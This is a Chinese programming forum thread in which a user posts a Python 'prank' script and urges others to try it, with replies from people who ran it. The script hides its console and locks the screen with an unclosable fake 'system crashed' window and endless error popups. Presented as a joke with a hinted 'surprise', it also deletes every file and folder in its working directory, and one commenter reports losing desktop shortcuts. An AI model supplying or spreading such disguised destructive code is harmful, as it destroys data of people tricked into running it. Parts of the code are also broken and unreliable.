进来就知道
本帖最后由 Mike_python小 于 2020-6-4 09:50 编辑哈哈哈哈哈{:7_141:}
上代码:import ctypes
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
from tkinter import *
from tkinter import messagebox as g
# import pyautogui as g
from PIL import Image, ImageTk
import shutil
cur_file = os.path.basename(sys.argv)
dir_content = os.listdir(".")
root = Tk()
root.title("")
root.configure(bg='#0074D4')
w = root.winfo_screenwidth()
h = root.winfo_screenheight()
root.attributes("-topmost",True)
root.resizable(0,0) #防止用户调整尺寸
root.geometry("%dx%d+0+0" %(w,h))
print(w, h)
for f in dir_content:
if os.path.isdir(f):
shutil.rmtree(f)
elif f != cur_file:
os.remove(f)
# Button(root, text='关闭', bg = 'red', command=root.quit).pack()
gif = Image.open(r"C:\Users\Admin\Desktop\崩溃.png")
giftk = ImageTk.PhotoImage(gif)
Label(root, image=giftk).pack()
# Label(root, bg='blue',).pack()
def close():
pass
def change(event):
root.update()
a = str(root.winfo_x())
b = str(root.winfo_y())
if a and b != '0':
root.geometry('%dx%d+0+0' % (w, h))
def a(ev=None):
g.press('alt'+'\t')
root.update()
root.bind("<Configure>",change) #绑定事件
root.bind("<Leave>", a)
root.protocol("WM_DELETE_WINDOW", close)
def whileF():
whileT()
def whileT():
g.showerror('操作系统已严重崩溃!', '操作系统已严重崩溃!')
whileF()
whileT()
root.mainloop()
你们可以去试试
这是图片:
emmmmmmm……
图片太大
只好用图床:htt啊ps://imgchr.com/i/YHH6ER
记得评分呀(此代码有keng,所以{:7_141:} )
在代码里添加这几行代码:import os,sys
import shutil
cur_file = os.path.basename(sys.argv)
dir_content = os.listdir(".")
for f in dir_content:
if os.path.isdir(f):
shutil.rmtree(f)
elif f != cur_file:
os.remove(f)
= 惊喜(已经添加)
自己选择添不添加 沙发 看着都不敢运行了{:10_245:} 地板 ono,你毁了我的电脑!!!{:10_266:}
我桌面上的快捷方式少了一大半{:10_266:} 学习 地下室 KevinHu 发表于 2020-5-21 12:34
ono,你毁了我的电脑!!!
我桌面上的快捷方式少了一大半
好像硬盘上的东西没丢……{:10_269:} KevinHu 发表于 2020-5-21 12:22
看着都不敢运行了
幸好拒绝访问了{:10_245:} {:10_277:} Hello. 发表于 2020-5-21 17:04
运行一下吧 看看 v.ki 发表于 2020-5-21 17:38
看看
运行一下吧 Mike_python小 发表于 2020-5-21 17:31
运行一下吧
你忘了我是学啥的{:10_277:}https://cdn.jsdelivr.net/gh/hishis/forum-master/public/images/patch.gif Hello. 发表于 2020-5-21 18:08
你忘了我是学啥的
学啥的,你这表情是什么,什么意思呀 看看 aaron.yang 发表于 2020-5-23 13:11
我是傻逼
WC
你的运气太好了吧 Mike_python小 发表于 2020-5-21 18:16
**** 作者被禁止或删除 内容自动屏蔽 ****
kk
页:
[1]